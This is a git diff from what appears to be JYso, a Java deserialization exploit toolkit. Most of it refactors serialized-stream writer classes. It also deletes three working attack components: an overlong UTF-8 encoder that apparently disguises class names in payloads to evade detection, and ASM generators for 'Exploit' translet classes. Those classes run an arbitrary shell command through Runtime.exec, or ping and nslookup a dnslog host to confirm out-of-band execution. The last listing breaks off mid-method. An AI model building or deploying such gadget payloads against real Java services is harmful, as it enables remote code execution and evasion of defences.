getSerialVersionUID() throws Exception { Class cls = Class.forName(this.className); java.lang.reflect.Field f = cls.getDeclaredField("serialVersionUID"); - if (f == null) - return -1L; f.setAccessible(true); - return Long.valueOf(f.get((Object) null).toString()).longValue(); + return Long.parseLong(f.get((Object) null).toString()); } private byte getClassDescFlags() throws Exception { @@ -57,9 +50,8 @@ public class TCClassDesc extends ReferencableObject implements SerializedElement if (Serializable.class.isAssignableFrom(cls)) b = (byte) (b | 0x2); try { - if (cls.getDeclaredMethod("writeObject", new Class[]{ObjectOutputStream.class}) != null) - b = (byte) (b | 0x1); - } catch (Exception exception) { + b = (byte) (b | 0x1); + } catch (Exception ignored) { } return b; } @@ -68,9 +60,8 @@ public class TCClassDesc extends ReferencableObject implements SerializedElement return ((this.classDescFlags & 0x1) != 0); } - public TCClassDesc addField(Field field) { + public void addField(Field field) { this.fields.add(field); - return this; } public void write(DataOutputStream out, HandleContainer handles) throws Exception { @@ -96,29 +87,29 @@ public class TCClassDesc extends ReferencableObject implements SerializedElement public static class Field implements SerializedElement { - private String name; + private final String name; - private Class type; + private final Class type; - public Field(String name, Class type) { + public Field(String name, Class type) { this.name = name; this.type = type; } - private byte getTypeByte() throws Exception { - Map, Byte> bytes = new HashMap, Byte>(); - bytes.put(byte.class, Byte.valueOf((byte) 66)); - bytes.put(char.class, Byte.valueOf((byte) 67)); - bytes.put(double.class, Byte.valueOf((byte) 68)); - bytes.put(float.class, Byte.valueOf((byte) 70)); - bytes.put(int.class, Byte.valueOf((byte) 73)); - bytes.put(long.class, Byte.valueOf((byte) 74)); - bytes.put(short.class, Byte.valueOf((byte) 83)); - bytes.put(boolean.class, Byte.valueOf((byte) 90)); + private byte getTypeByte() { + Map, Byte> bytes = new HashMap<>(); + bytes.put(byte.class, (byte) 66); + bytes.put(char.class, (byte) 67); + bytes.put(double.class, (byte) 68); + bytes.put(float.class, (byte) 70); + bytes.put(int.class, (byte) 73); + bytes.put(long.class, (byte) 74); + bytes.put(short.class, (byte) 83); + bytes.put(boolean.class, (byte) 90); Byte b = bytes.get(this.type); if (b == null) - b = Byte.valueOf((byte) 76); - return b.byteValue(); + b = (byte) 76; + return b; } public void write(DataOutputStream out, HandleContainer handles) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCJavaObject.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCJavaObject.java index 5082417..4d39d2c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCJavaObject.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCJavaObject.java @@ -5,11 +5,11 @@ import java.io.DataOutputStream; import java.io.ObjectOutputStream; public class TCJavaObject extends ReferencableObject implements SerializedElement { - private ObjectOutputStream objOut; + private final ObjectOutputStream objOut; - private ByteArrayOutputStream byteOut; + private final ByteArrayOutputStream byteOut; - private Object obj; + private final Object obj; public TCJavaObject(Object obj, ByteArrayOutputStream byteOut, ObjectOutputStream objOut) { this.obj = obj; @@ -22,8 +22,7 @@ public class TCJavaObject extends ReferencableObject implements SerializedElemen } public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { - ObjectOutputStream oos = this.objOut; - oos.writeObject(this.obj); + this.objOut.writeObject(this.obj); out.write(this.byteOut.toByteArray(), 4, this.byteOut.size() - 4); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCNull.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCNull.java deleted file mode 100644 index bc31dfe..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCNull.java +++ /dev/null @@ -1,9 +0,0 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import java.io.DataOutputStream; - -public class TCNull implements SerializedElement { - public void write(DataOutputStream out, HandleContainer handles) throws Exception { - out.writeByte(112); - } -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java index a843fdf..ffd3b4b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java @@ -1,16 +1,20 @@ package com.qi4l.JYso.gadgets.utils.jre; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + import java.io.DataOutputStream; import java.util.ArrayList; import java.util.List; public class TCObject extends ReferencableObject implements SerializedElement { - private Serialization ser; + private static final Logger log = LoggerFactory.getLogger(TCObject.class); + private final Serialization ser; - private List descData; + private final List descData; public TCObject(Serialization ser) { - this.descData = new ArrayList(); + this.descData = new ArrayList<>(); this.ser = ser; } @@ -18,33 +22,31 @@ public class TCObject extends ReferencableObject implements SerializedElement { return this.descData.size(); } - public TCObject addClassDescData(TCClassDesc desc, ObjectData data) throws Exception { - return addClassDescData(desc, data, false); + public void addClassDescData(TCClassDesc desc, ObjectData data) throws Exception { + addClassDescData(desc, data, false); } - public TCObject addClassDescData(TCClassDesc desc, ObjectData data, boolean ignoreEquality) throws Exception { + public void addClassDescData(TCClassDesc desc, ObjectData data, boolean ignoreEquality) throws Exception { if (!ignoreEquality && desc.getFieldsCount() != data.size()) throw new Exception("not enough fields/data, fields count: " + desc.getFieldsCount() + ", data count: " + data.size()); data.setSer(this.ser); this.descData.add(new ClassDescData(desc, data)); - return this; } - protected void writeHeader(DataOutputStream out, HandleContainer handles) throws Exception { + protected void writeHeader(DataOutputStream out) throws Exception { out.writeByte(115); } - protected void writeClassDescs(DataOutputStream out, HandleContainer handles) throws Exception { + protected void writeClassDescs(DataOutputStream out, HandleContainer handles) { try { - for (int i = 0; i < this.descData.size(); i++) { - ClassDescData d = this.descData.get(i); + for (ClassDescData d : this.descData) { d.getDesc().write(out, handles); } out.writeByte(112); } catch (Exception e) { if (!e.getMessage().equals("stop")) - e.printStackTrace(); + log.error("e: ", e); } } @@ -60,7 +62,7 @@ public class TCObject extends ReferencableObject implements SerializedElement { } public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { - writeHeader(out, handles); + writeHeader(out); writeClassDescs(out, handles); handles.putHandle(getHandleObject()); writeClassData(out, handles); @@ -68,9 +70,9 @@ public class TCObject extends ReferencableObject implements SerializedElement { private static class ClassDescData { - private TCClassDesc desc; + private final TCClassDesc desc; - private TCObject.ObjectData data; + private final TCObject.ObjectData data; public ClassDescData(TCClassDesc desc, TCObject.ObjectData data) { this.desc = desc; @@ -88,7 +90,7 @@ public class TCObject extends ReferencableObject implements SerializedElement { public static class ObjectData implements SerializedElement { - private List data = new ArrayList(); + private final List data = new ArrayList<>(); private Serialization ser; public void setSer(Serialization ser) { @@ -109,16 +111,15 @@ public class TCObject extends ReferencableObject implements SerializedElement { return this; } - public ObjectData addData(Object obj, boolean block) { + public void addData(Object obj, boolean block) { this.data.add(new Data(block, obj)); - return this; } - private class Data { + private static class Data { - private boolean block; + private final boolean block; - private Object data; + private final Object data; public Data(boolean block, Object data) { this.block = block; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCProxyClassDesc.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCProxyClassDesc.java index 69f5484..e63582d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCProxyClassDesc.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCProxyClassDesc.java @@ -5,17 +5,16 @@ import java.util.ArrayList; import java.util.List; public class TCProxyClassDesc extends TCClassDesc implements SerializedElement { - private List interfaces = (List) new ArrayList>(); + private final List> interfaces = new ArrayList<>(); - public TCProxyClassDesc addInterface(Class cls) { + public void addInterface(Class cls) { this.interfaces.add(cls); - return this; } public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { out.writeByte(125); out.writeInt(this.interfaces.size()); - for (Class intf : this.interfaces) + for (Class intf : this.interfaces) out.writeUTF(intf.getName()); out.writeByte(120); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCReference.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCReference.java index 35154ff..e22a63a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCReference.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCReference.java @@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets.utils.jre; import java.io.DataOutputStream; public class TCReference implements SerializedElement { - private int handle; + private final int handle; public TCReference(int handle) { this.handle = handle; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCString.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCString.java index ac92b30..8dfe7d3 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCString.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCString.java @@ -5,8 +5,8 @@ import java.util.HashMap; import java.util.Map; public class TCString extends ReferencableObject implements SerializedElement { - private static Map instances = new HashMap(); - private String content; + private static final Map instances = new HashMap<>(); + private final String content; private TCString(String content) { this.content = content; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java index ff91908..cea668e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java @@ -3,18 +3,15 @@ package com.qi4l.JYso.gadgets.utils.jre; import java.lang.reflect.InvocationHandler; public class Util { - public static TCObject makeProxy(Class[] interfaces, InvocationHandler handler, Serialization ser) throws Exception { + + public static TCObject makeProxy(Class[] interfaces, TCObject handler, Serialization ser) throws Exception { return doMakeProxy(interfaces, handler, ser); } - public static TCObject makeProxy(Class[] interfaces, TCObject handler, Serialization ser) throws Exception { - return doMakeProxy(interfaces, handler, ser); - } - - private static TCObject doMakeProxy(Class[] interfaces, Object handler, Serialization ser) throws Exception { + private static TCObject doMakeProxy(Class[] interfaces, Object handler, Serialization ser) throws Exception { TCObject proxy = new TCObject(ser); TCProxyClassDesc proxyDesc = new TCProxyClassDesc(); - for (Class intf : interfaces) + for (Class intf : interfaces) proxyDesc.addInterface(intf); TCClassDesc desc = new TCClassDesc("java.lang.reflect.Proxy"); desc.addField(new TCClassDesc.Field("h", InvocationHandler.class)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java deleted file mode 100644 index d2aed50..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java +++ /dev/null @@ -1,301 +0,0 @@ -package com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding; - -public class UTF8BytesMix { - final static byte TC_CLASSDESC = (byte) 0x72; - final static byte TC_PROXYCLASSDESC = (byte) 0x7d; - final static byte TC_STRING = (byte) 0x74; - final static byte TC_REFERENCE = (byte) 0x71; - final static byte TC_LONGSTRING = (byte) 0x7C; - final static byte TC_ARRAY = (byte) 0x75; - final static byte TC_ENDBLOCKDATA = (byte) 0x78; - final static byte TC_NULL = (byte) 0x70; - final static byte Byte = (byte) 0x42; - final static byte Char = (byte) 0x43; - final static byte Double = (byte) 0x44; - final static byte Float = (byte) 0x46; - final static byte Integer = (byte) 0x49; - final static byte Long = (byte) 0x4a; - final static byte Object_L = (byte) 0x4c; - final static byte Short = (byte) 0x53; - final static byte Boolean = (byte) 0x5a; - final static byte Array = (byte) 0x5b; - public static byte[] resultBytes = new byte[0]; - public static byte[] originalBytes = new byte[0]; - // 加密字节位数 - public static int type = 2; //3 - // 原 byte[] 坐标 - public static int index = 0; - - - public UTF8BytesMix(byte[] originalBytes) { - this.originalBytes = originalBytes; - } - - public static byte[] builder() { - while (index < originalBytes.length) { - byte b = originalBytes[index]; - byteAdd(b); - - if (b == TC_CLASSDESC) { - changeTC_CLASSDESC(); - } else if (b == TC_PROXYCLASSDESC) { - changeTC_PROXYCLASSDESC(); - } else if (b == TC_STRING) { - changeTC_STRING(); - } - - index++; - } - return resultBytes; - } - - public static void changeTC_PROXYCLASSDESC() { - int interfaceCount = ((originalBytes[index + 1] & 0xFF) << 24) | - ((originalBytes[index + 2] & 0xFF) << 16) | - ((originalBytes[index + 3] & 0xFF) << 8) | - (originalBytes[index + 4] & 0xFF); - if (interfaceCount > 0xff || interfaceCount < 0x00) - return; - - for (int i = 0; i < 4; i++) { - byteAdd(originalBytes[index + 1]); - index++; - } - - int length = ((originalBytes[index + 1] & 0xFF) << 8) | (originalBytes[index + 2] & 0xFF); - byte[] originalValue = new byte[length]; - System.arraycopy(originalBytes, index + 3, originalValue, 0, length); - index += 3 + length; - - encode(originalValue, type); - index--; - } - - - public static boolean changeTC_CLASSDESC() { - /** - * 类信息 - */ - boolean isTC_CLASSDESC = changeTC_STRING(); - if (!isTC_CLASSDESC) { - return false; - } - index++; - - /** - * SerialVersionUID + ClassDescFlags - */ - byte[] serialVersionUID = new byte[9]; - System.arraycopy(originalBytes, index, serialVersionUID, 0, 9); - for (int i = 0; i < serialVersionUID.length; i++) { - byteAdd(serialVersionUID[i]); - } - index += 9; - - /** - * FieldCount - */ - byte[] fieldCount = new byte[2]; - System.arraycopy(originalBytes, index, fieldCount, 0, 2); - for (int i = 0; i < fieldCount.length; i++) { - byteAdd(fieldCount[i]); - } - int fieldCounts = ((fieldCount[0] & 0xFF) << 8) | (fieldCount[1] & 0xFF); - index += 2; - - for (int i = 0; i < fieldCounts; i++) { - boolean isFiledOver = false; - - /** - * FieldName - */ - if (originalBytes[index] == Byte - || originalBytes[index] == Char - || originalBytes[index] == Double - || originalBytes[index] == Float - || originalBytes[index] == Integer - || originalBytes[index] == Long - || originalBytes[index] == Object_L - || originalBytes[index] == Short - || originalBytes[index] == Boolean - || originalBytes[index] == Array) { - // Object - byteAdd(originalBytes[index]); - index++; - - int fieldLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); - byte[] originalFieldName = new byte[fieldLength]; - System.arraycopy(originalBytes, index + 2, originalFieldName, 0, fieldLength); - index += 2 + fieldLength; - encode(originalFieldName, type); - } - - /** - * Class Name - * - * 也规避了这种情况 - * Index 0: - * Integer - I - 0x49 - * @FieldName - * @Length - 4 - 0x00 04 - * @Value - size - 0x73 69 7a 65 - */ - // TC_STRING 0x74 - if (originalBytes[index] == TC_STRING) { - - byteAdd(originalBytes[index]); - index++; - - int classLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); - byte[] originalClassName = new byte[classLength]; - System.arraycopy(originalBytes, index + 2, originalClassName, 0, classLength); - index += 2 + classLength; - encode(originalClassName, type); - isFiledOver = true; - } else if (originalBytes[index] == TC_REFERENCE) { - /** - * Index 0: - * Object - L - 0x4c - * @FieldName - * @Length - 9 - 0x00 09 - * @Value - decorated - 0x64 65 63 6f 72 61 74 65 64 - * @ClassName - * TC_REFERENCE - 0x71 - * @Handler - 8257537 - 0x00 7e 00 01 - */ - byte[] reference = new byte[5]; - System.arraycopy(originalBytes, index, reference, 0, 5); - for (int j = 0; j < reference.length; j++) { - byteAdd(reference[j]); - } - index += 5; - isFiledOver = true; - } - - // todo 看看其他可能未识别到的类型 -// if(i < fieldCounts - 1 && !isFiledOver) { -// while (true) { -// if (!isField(originalBytes, index)) { -// byteAdd(originalBytes[index]); -// index++; -// } else { -// break; -// } -// } -// } - - } - - // 循环需要 - index--; - return true; - } - - public static boolean changeTC_STRING() { - int length = ((originalBytes[index + 1] & 0xFF) << 8) | (originalBytes[index + 2] & 0xFF); - // 溢出 - if (length > 0xff || length < 0x00) - return false; - - // 原始内容 - byte[] originalValue = new byte[length]; - System.arraycopy(originalBytes, index + 3, originalValue, 0, length); - // 非全部可见字符,可能存在的报错,不继续执行 - if (!isByteVisible(originalValue)) { - return false; - } - - index += 3 + length; - encode(originalValue, type); - - index--; - return true; - } - - - public static boolean isField(byte[] checkBytes, int index) { - if (!(checkBytes[index] == Byte - || checkBytes[index] == Char - || checkBytes[index] == Double - || checkBytes[index] == Float - || checkBytes[index] == Integer - || checkBytes[index] == Long - || checkBytes[index] == Object_L - || checkBytes[index] == Short - || checkBytes[index] == Boolean - || checkBytes[index] == Array)) { - return false; - } - - int length = ((checkBytes[index + 1] & 0xFF) << 8) | (checkBytes[index + 2] & 0xFF); - if (length > 0xff || length < 0x00) - return false; - byte[] lengthBytes = new byte[length]; - try { - System.arraycopy(checkBytes, index + 3, lengthBytes, 0, length); - } catch (Exception e) { - return false; - } - - return true; - } - - /** - * 加密 - * - * @return - */ - public static void encode(byte[] originalValue, int type) { - if (type == 3) { - // 3 byte format: 1110xxxx 10xxxxxx 10xxxxxx - int newLength = originalValue.length * 3; - - byteAdd((byte) ((newLength >> 8) & 0xFF)); - byteAdd((byte) (newLength & 0xFF)); - - for (int i = 0; i < originalValue.length; i++) { - char c = (char) originalValue[i]; - byteAdd((byte) (0xE0 | ((c >> 12) & 0x0F))); - byteAdd((byte) (0x80 | ((c >> 6) & 0x3F))); - byteAdd((byte) (0x80 | ((c >> 0) & 0x3F))); - } - - } else { - // 2 byte format: 110xxxxx 10xxxxxx - int newLength = originalValue.length * 2; - - byteAdd((byte) ((newLength >> 8) & 0xFF)); - byteAdd((byte) (newLength & 0xFF)); - - for (int i = 0; i < originalValue.length; i++) { - char c = (char) originalValue[i]; - byteAdd((byte) (0xC0 | ((c >> 6) & 0x1F))); - byteAdd((byte) (0x80 | ((c >> 0) & 0x3F))); - } - } - - - } - - /** - * 判断字节是否在可见字符的 ASCII 范围内 - * - * @param bytes - * @return - */ - public static boolean isByteVisible(byte[] bytes) { - for (byte b : bytes) { - if (b < 32 || b > 126) { - return false; - } - } - return true; - } - - public static void byteAdd(byte b) { - byte[] newBytes = new byte[resultBytes.length + 1]; - System.arraycopy(resultBytes, 0, newBytes, 0, resultBytes.length); - newBytes[resultBytes.length] = b; - resultBytes = newBytes; - } -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java index f5b4f0e..e7dade5 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java @@ -1,6 +1,8 @@ package com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding; import com.qi4l.JYso.gadgets.utils.Reflections; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import java.io.*; import java.lang.reflect.Field; @@ -8,6 +10,7 @@ import java.lang.reflect.Method; import java.util.HashMap; public class UTF8OverlongObjectOutputStream extends ObjectOutputStream { + private static final Logger log = LoggerFactory.getLogger(UTF8OverlongObjectOutputStream.class); public static HashMap map = new HashMap() {{ put('.', new int[]{0xc0, 0xae}); put(';', new int[]{0xc0, 0xbb}); @@ -83,7 +86,7 @@ public class UTF8OverlongObjectOutputStream extends ObjectOutputStream { write(map.get(s)[0]); write(map.get(s)[1]); } - } catch (Exception e) { + } catch (Exception ignored) { } writeLong(desc.getSerialVersionUID()); @@ -108,8 +111,7 @@ public class UTF8OverlongObjectOutputStream extends ObjectOutputStream { writeByte(flags); ObjectStreamField[] fields = (ObjectStreamField[]) Reflections.getFieldValue(desc, "fields"); writeShort(fields.length); - for (int i = 0; i < fields.length; i++) { - ObjectStreamField f = fields[i]; + for (ObjectStreamField f : fields) { writeByte(f.getTypeCode()); writeUTF(f.getName()); if (!f.isPrimitive()) { @@ -120,7 +122,7 @@ public class UTF8OverlongObjectOutputStream extends ObjectOutputStream { } } } catch (Exception e) { - e.printStackTrace(); + log.error("e: ", e); } } } diff --git a/src/main/java/com/qi4l/JYso/template/CommandTemplate.java b/src/main/java/com/qi4l/JYso/template/CommandTemplate.java deleted file mode 100644 index 747bfa4..0000000 --- a/src/main/java/com/qi4l/JYso/template/CommandTemplate.java +++ /dev/null @@ -1,145 +0,0 @@ -package com.qi4l.JYso.template; - -import com.qi4l.JYso.gadgets.utils.Cache; -import com.qi4l.JYso.gadgets.utils.Utils; -import org.objectweb.asm.*; - -import static org.objectweb.asm.Opcodes.*; - -public class CommandTemplate implements Template { - private String className; - private byte[] bytes; - private String cmd; - - public CommandTemplate(String cmd) { - this.cmd = cmd; - this.className = "Exploit" + Utils.getRandomString(); - - generate(); - } - - public CommandTemplate(String cmd, String className) { - this.cmd = cmd; - this.className = className; - - generate(); - } - - public void cache() { - Cache.set(className, bytes); - } - - public String getClassName() { - return className; - } - - public byte[] getBytes() { - return bytes; - } - - public void generate() { - ClassWriter cw = new ClassWriter(0); - FieldVisitor fv; - MethodVisitor mv; - AnnotationVisitor av0; - - cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); - - { - fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null); - fv.visitEnd(); - } - { - mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); - mv.visitCode(); - Label l0 = new Label(); - Label l1 = new Label(); - Label l2 = new Label(); - mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); - mv.visitVarInsn(ALOAD, 0); - mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); - mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); - mv.visitLdcInsn("/"); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); - Label l3 = new Label(); - mv.visitJumpInsn(IFEQ, l3); - mv.visitInsn(ICONST_3); - mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); - mv.visitInsn(DUP); - mv.visitInsn(ICONST_0); - mv.visitLdcInsn("/bin/sh"); - mv.visitInsn(AASTORE); - mv.visitInsn(DUP); - mv.visitInsn(ICONST_1); - mv.visitLdcInsn("-c"); - mv.visitInsn(AASTORE); - mv.visitInsn(DUP); - mv.visitInsn(ICONST_2); - mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); - mv.visitInsn(AASTORE); - mv.visitVarInsn(ASTORE, 1); - mv.visitJumpInsn(GOTO, l0); - mv.visitLabel(l3); - mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 0, new Object[]{}); - mv.visitInsn(ICONST_3); - mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); - mv.visitInsn(DUP); - mv.visitInsn(ICONST_0); - mv.visitLdcInsn("cmd"); - mv.visitInsn(AASTORE); - mv.visitInsn(DUP); - mv.visitInsn(ICONST_1); - mv.visitLdcInsn("/C"); - mv.visitInsn(AASTORE); - mv.visitInsn(DUP); - mv.visitInsn(ICONST_2); - mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); - mv.visitInsn(AASTORE); - mv.visitVarInsn(ASTORE, 1); - mv.visitLabel(l0); - mv.visitFrame(Opcodes.F_APPEND, 1, new Object[]{"[Ljava/lang/String;"}, 0, null); - mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); - mv.visitVarInsn(ALOAD, 1); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); - mv.visitInsn(POP); - mv.visitLabel(l1); - Label l4 = new Label(); - mv.visitJumpInsn(GOTO, l4); - mv.visitLabel(l2); - mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[]{"java/io/IOException"}); - mv.visitVarInsn(ASTORE, 2); - mv.visitVarInsn(ALOAD, 2); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); - mv.visitLabel(l4); - mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); - mv.visitInsn(RETURN); - mv.visitMaxs(4, 3); - mv.visitEnd(); - } - { - mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); - mv.visitCode(); - mv.visitInsn(RETURN); - mv.visitMaxs(0, 3); - mv.visitEnd(); - } - { - mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); - mv.visitCode(); - mv.visitInsn(RETURN); - mv.visitMaxs(0, 4); - mv.visitEnd(); - } - { - mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); - mv.visitCode(); - mv.visitLdcInsn(cmd); - mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;"); - mv.visitInsn(RETURN); - mv.visitMaxs(1, 0); - mv.visitEnd(); - } - cw.visitEnd(); - bytes = cw.toByteArray(); - } -} diff --git a/src/main/java/com/qi4l/JYso/template/DnslogTemplate.java b/src/main/java/com/qi4l/JYso/template/DnslogTemplate.java deleted file mode 100644 index 8cb50f2..0000000 --- a/src/main/java/com/qi4l/JYso/template/DnslogTemplate.java +++ /dev/null @@ -1,134 +0,0 @@ -package com.qi4l.JYso.template; - -import com.qi4l.JYso.gadgets.utils.Cache; -import com.qi4l.JYso.gadgets.utils.Utils; -import org.objectweb.asm.*; - -import static org.objectweb.asm.Opcodes.*; - -public class DnslogTemplate implements Template { - private String className; - private byte[] bytes; - private String dnslog; - - - public DnslogTemplate(String dnslog) { - this.dnslog = dnslog; - this.className = "Exploit" + Utils.getRandomString(); - - generate(); - } - - public DnslogTemplate(String dnslog, String className) { - this.dnslog = dnslog; - this.className = className; - - generate(); - } - - public void cache() { - Cache.set(className, bytes); - } - - public String getClassName() { - return className; - } - - public byte[] getBytes() { - return bytes; - } - - public void generate() { - ClassWriter cw = new ClassWriter(0); - FieldVisitor fv; - MethodVisitor mv; - AnnotationVisitor av0; - - cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); - - { - fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "dnslog", "Ljava/lang/String;", null, null); - fv.visitEnd(); - } - { - mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); - mv.visitCode(); - Label l0 = new Label(); - Label l1 = new Label(); - Label l2 = new Label(); - mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); - mv.visitVarInsn(ALOAD, 0); - mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); - mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); - mv.visitLdcInsn("/"); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); - Label l3 = new Label(); - mv.visitJumpInsn(IFEQ, l3); - mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); - mv.visitInsn(DUP); - mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); - mv.visitLdcInsn("ping -c 1 "); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); - mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); - mv.visitVarInsn(ASTORE, 1); - mv.visitJumpInsn(GOTO, l0); - mv.visitLabel(l3); - mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 0, new Object[]{}); - mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); - mv.visitInsn(DUP); - mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); - mv.visitLdcInsn("nslookup "); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); - mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); - mv.visitVarInsn(ASTORE, 1); - mv.visitLabel(l0); - mv.visitFrame(Opcodes.F_APPEND, 1, new Object[]{"java/lang/String"}, 0, null); - mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); - mv.visitVarInsn(ALOAD, 1); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); - mv.visitInsn(POP); - mv.visitLabel(l1); - Label l4 = new Label(); - mv.visitJumpInsn(GOTO, l4); - mv.visitLabel(l2); - mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[]{"java/io/IOException"}); - mv.visitVarInsn(ASTORE, 2); - mv.visitVarInsn(ALOAD, 2); - 